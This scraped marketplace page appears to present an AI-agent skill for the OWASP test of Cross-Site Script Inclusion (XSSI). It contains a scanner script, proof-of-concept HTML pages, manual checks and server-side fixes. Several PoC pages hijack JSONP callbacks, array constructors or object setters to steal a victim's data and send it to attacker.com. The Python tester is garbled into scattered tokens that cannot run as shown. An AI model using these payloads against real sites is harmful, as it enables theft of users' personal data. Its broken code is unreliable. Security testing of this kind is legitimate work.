Skip to main content Skills Marktplatz Entdecken und erkunden Sie KI-Skills, die von der Community erstellt wurden.
Mit Codex oder Claude installieren Kopieren Sie diesen Prompt, fügen Sie ihn in Codex, Claude oder einen anderen Assistant ein und lassen Sie die Skill-Seite prüfen und installieren.
Prompt kopierenPrompt-Details anzeigen Ein direkter Befehl überspringt den Prüf-Prompt. Prüfen Sie die Quelle, bevor Sie ihn ausführen.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-clnt-13Der Befehl bleibt in einer Zeile. Scrollen Sie horizontal, um ihn vor dem Kopieren vollständig zu prüfen.
Sie bevorzugen eine lokale Kopie? Laden Sie die Dateien herunter, die SkillsMP derzeit vorliegen.
ZIP herunterladen Herunterladen... Mehr aus diesem Repository Verwandte Berufe SOC
Basierend auf der SOC-Berufsklassifikation
name wstg-clnt-13 description Testing for Cross-Site Script Inclusion (XSSI) category client-side owasp_id WSTG-CLNT-13 version 1.0.0 author cyberstrike-official tags ["client-side","javascript","dom","cors","wstg","clnt"] tech_stack [] cwe_ids ["CWE-942"] chains_with [] prerequisites [] severity_boost {}
wstg-clnt-13
Test ID
WSTG-CLNT-13
Test Name
Testing for Cross-Site Script Inclusion (XSSI)
High-Level Description
Cross-Site Script Inclusion (XSSI) allows attackers to steal sensitive data by including a victim's JavaScript files as script sources from an attacker-controlled page. This exploits the fact that JavaScript files may contain sensitive user data and are not protected by Same-Origin Policy when loaded as scripts.
What to Check
How to Test
Step 1: Identify Dynamic JavaScript
#!/bin/bash
TARGET="https://target.com"
echo "[*] Finding JavaScript files..."
curl -s "$TARGET " | grep -oP 'src="[^"]*\.js[^"]*"' | sort -u
curl -s "$TARGET " | grep -oP 'callback=[^&"]+' | sort -u
curl -s "$TARGET /api/user" -H "Accept: application/javascript"
Step 2: XSSI Vulnerability Tester
"""
XSSI (Cross-Site Script Inclusion) Vulnerability Tester
"""
import requests
import re
urllib.parse urljoin, parse_qs, urlparse
:
( ):
.base_url = base_url
.findings = []
.session = requests.Session()
( ):
( )
response = .session.get( .base_url)
script_srcs = re.findall( , response.text)
jsonp_patterns = re.findall( , response.text)
endpoints = []
src script_srcs:
full_url = urljoin( .base_url, src)
endpoints.append(( , full_url))
endpoints
( ):
( )
callbacks = [ , , , , ]
cb_param callbacks:
test_url =
:
response = .session.get(test_url)
response.text:
( )
.contains_sensitive_data(response.text):
.findings.append({
: ,
: test_url,
: cb_param,
: ,
:
})
:
.findings.append({
: ,
: test_url,
: cb_param,
: ,
:
})
Exception e:
( ):
( )
response_unauth = requests.get(js_url)
response_auth = .session.get(js_url)
response_auth.text != response_unauth.text:
( )
.contains_sensitive_data(response_auth.text):
( )
.findings.append({
: ,
: js_url,
: ,
:
})
( ):
( )
response = .session.get(endpoint)
content = response.text.strip()
content.startswith( ) content.endswith( ):
( )
.contains_sensitive_data(content):
.findings.append({
: ,
: endpoint,
: ,
:
})
( ):
sensitive_patterns = [
, , , ,
, , , ,
, , , ,
, ,
]
pattern sensitive_patterns:
re.search(pattern, content, re.IGNORECASE):
( ):
poc =
poc
( ):
auth_cookies:
.session.cookies.update(auth_cookies)
endpoints = .find_js_endpoints()
endpoint_type, url endpoints:
endpoint_type == :
.test_js_hijacking(url)
common_jsonp = [ , , , ]
path common_jsonp:
.test_jsonp_xssi(urljoin( .base_url, path))
json_endpoints = [ , , ]
path json_endpoints:
.test_json_array_hijacking(urljoin( .base_url, path))
.generate_report()
( ):
( + * )
( )
( * )
.findings:
( )
:
f .findings:
( )
( )
( )
f[ ] == :
( )
tester = XSSITester( )
tester.run_tests(auth_cookies={ : })
from
import
class
XSSITester
def
__init__
self, base_url
self
self
self
def
find_js_endpoints
self
"""Find JavaScript endpoints on the page"""
print
f"[*] Finding JavaScript endpoints on {self.base_url} "
self
self
r'src=["\']([^"\']*\.js[^"\']*)["\']'
r'callback=([^&"\']+)'
for
in
self
'script'
return
def
test_jsonp_xssi
self, endpoint
"""Test JSONP endpoints for XSSI"""
print
f"\n[*] Testing JSONP endpoint: {endpoint} "
'callback'
'jsonp'
'cb'
'jsonpcallback'
'func'
for
in
f"{endpoint} ?{cb_param} =xssiTest"
try
self
if
'xssiTest('
in
print
f"[VULN] JSONP callback reflected: {cb_param} "
if
self
self
"type"
"JSONP XSSI"
"url"
"parameter"
"severity"
"High"
"detail"
"JSONP returns sensitive data"
else
self
"type"
"JSONP XSSI"
"url"
"parameter"
"severity"
"Medium"
"detail"
"JSONP callback controllable"
except
as
pass
def
test_js_hijacking
self, js_url
"""Test if authenticated JS can be hijacked"""
print
f"\n[*] Testing JS hijacking: {js_url} "
self
if
print
"[WARN] JavaScript content differs based on authentication"
if
self
print
"[VULN] Authenticated JavaScript contains sensitive data!"
self
"type"
"JavaScript Hijacking"
"url"
"severity"
"High"
"detail"
"Auth-dependent JS contains sensitive data"
def
test_json_array_hijacking
self, endpoint
"""Test for JSON array hijacking (older browsers)"""
print
f"\n[*] Testing JSON array hijacking: {endpoint} "
self
if
'['
and
']'
print
"[INFO] JSON array response detected"
if
self
self
"type"
"JSON Array Hijacking"
"url"
"severity"
"Medium"
"detail"
"JSON array with sensitive data (legacy browsers vulnerable)"
def
contains_sensitive_data
self, content
"""Check if content contains sensitive data patterns"""
r'password'
r'token'
r'api[_-]?key'
r'secret'
r'email'
r'phone'
r'ssn'
r'credit'
r'session'
r'auth'
r'bearer'
r'private'
r'"id"\s*:\s*\d+'
r'"user'
r'"account'
for
in
if
return
True
return
False
def
generate_poc
self, vulnerable_url, callback='steal'
"""Generate XSSI PoC HTML"""
f'''<!DOCTYPE html>
<html>
<head>
<title>XSSI PoC</title>
</head>
<body>
<h1>XSSI Proof of Concept</h1>
<div id="stolen-data"></div>
<script>
// Override Array constructor (JSON Array Hijacking)
var stolenData = [];
var originalArray = Array;
Array = function() {{
stolenData = this;
return originalArray.apply(this, arguments);
}};
Array.prototype = originalArray.prototype;
</script>
<!-- Include target's JavaScript -->
<script src="{vulnerable_url} "></script>
<script>
// For JSONP
function {callback} (data) {{
console.log("Stolen data:", data);
document.getElementById('stolen-data').innerHTML =
'<pre>' + JSON.stringify(data, null, 2) + '</pre>';
// Exfiltrate to attacker server
fetch('https://attacker.com/collect', {{
method: 'POST',
body: JSON.stringify(data)
}});
}}
// Check for array hijacking data
if (stolenData.length > 0) {{
console.log("Array hijacking data:", stolenData);
}}
</script>
</body>
</html>'''
return
def
run_tests
self, auth_cookies=None
"""Run all XSSI tests"""
if
self
self
for
in
if
'script'
self
'/api/user'
'/api/data'
'/api/profile'
'/jsonp'
for
in
self
self
'/api/users'
'/api/data'
'/api/list'
for
in
self
self
self
def
generate_report
self
"""Generate findings report"""
print
"\n"
"="
50
print
"XSSI SECURITY REPORT"
print
"="
50
if
not
self
print
"\nNo XSSI vulnerabilities found."
else
for
in
self
print
f"\n[{f['severity' ]} ] {f['type' ]} "
print
f" URL: {f['url' ]} "
print
f" Detail: {f['detail' ]} "
if
'type'
'JSONP XSSI'
print
f"\n PoC:\n{self.generate_poc(f['url' ])[:500 ]} ..."
"https://target.com"
'session'
'valid_session_cookie'
Step 3: XSSI Attack Scenarios
<!DOCTYPE html >
<html >
<body >
<script >
function callback (data ) {
new Image ().src = "https://attacker.com/log?data=" + encodeURIComponent (JSON .stringify (data))
}
</script >
<script src ="https://target.com/api/user?callback=callback" > </script >
</body >
</html >
<!DOCTYPE html >
<html >
<body >
<script src ="https://target.com/js/config.js" > </script >
<script >
if (typeof userData !== "undefined" ) {
fetch ("https://attacker.com/log" , {
method : "POST" ,
body : JSON .stringify (userData),
})
}
</script >
</body >
</html >
<!DOCTYPE html >
<html >
<body >
<script >
Object .prototype .__defineSetter__ ("sensitive" , function (val ) {
fetch ("https://attacker.com/log?data=" + encodeURIComponent (val))
})
</script >
<script src ="https://target.com/api/user.js" > </script >
</body >
</html >
Step 4: Manual Testing
fetch ("/api/user" )
.then ((r ) => r.text ())
.then ((text ) => {
try {
new Function (text)
console .log ("[!] Endpoint returns executable JavaScript" )
} catch (e) {
console .log ("[OK] Not executable as JavaScript" )
}
})
const jsonpParams = ["callback" , "jsonp" , "cb" , "func" , "jsonpcallback" ]
jsonpParams.forEach ((param ) => {
fetch (`/api/data?${param} =test` )
.then ((r ) => r.text ())
.then ((text ) => {
if (text.includes ("test(" )) {
console .log (`[!] JSONP parameter found: ${param} ` )
}
})
})
Tools Tool Purpose Burp Suite Intercept and analyze responses Browser DevTools Monitor script loading Custom PoC Test XSSI exploitation curl Manual testing
Remediation
@app.route('/api/user' )
def get_user ():
response = jsonify(user_data)
response.headers['Access-Control-Allow-Origin' ] = 'https://trusted.com'
response.headers['Access-Control-Allow-Credentials' ] = 'true'
return response
@app.route('/api/data' )
def get_data ():
data = get_sensitive_data()
response = make_response(")]}',\n" + json.dumps(data))
response.headers['Content-Type' ] = 'application/json'
response.headers['X-Content-Type-Options' ] = 'nosniff'
return response
@app.route('/api/sensitive' , methods=['POST' ] )
def get_sensitive ():
return jsonify(sensitive_data)
@app.before_request
def check_content_type ():
if request.path.startswith('/api/' ):
accept = request.headers.get('Accept' , '' )
if 'text/javascript' in accept or '*/*' in accept:
if not request.headers.get('X-Requested-With' ):
abort(403 )
async function fetchSecure (url ) {
const response = await fetch (url, {
credentials : "include" ,
headers : {
"X-Requested-With" : "XMLHttpRequest" ,
Accept : "application/json" ,
},
})
let text = await response.text ()
if (text.startsWith (")]}',\n" )) {
text = text.substring (6 )
}
return JSON .parse (text)
}
Risk Assessment Finding CVSS Severity JSONP with sensitive user data 7.5 High Authenticated JavaScript hijacking 7.5 High JSON array with sensitive data 5.3 Medium JSONP callback controllable (no sensitive data) 4.3 Medium
CWE Categories CWE ID Title CWE-352 Cross-Site Request Forgery (CSRF) CWE-200 Exposure of Sensitive Information to an Unauthorized Actor CWE-346 Origin Validation Error
References
Checklist [ ] Dynamic JavaScript endpoints identified
[ ] JSONP endpoints tested
[ ] Callback parameter manipulation tested
[ ] Authenticated JS content analyzed
[ ] JSON array responses checked
[ ] Sensitive data patterns searched
[ ] PoC created for vulnerabilities
[ ] Findings documented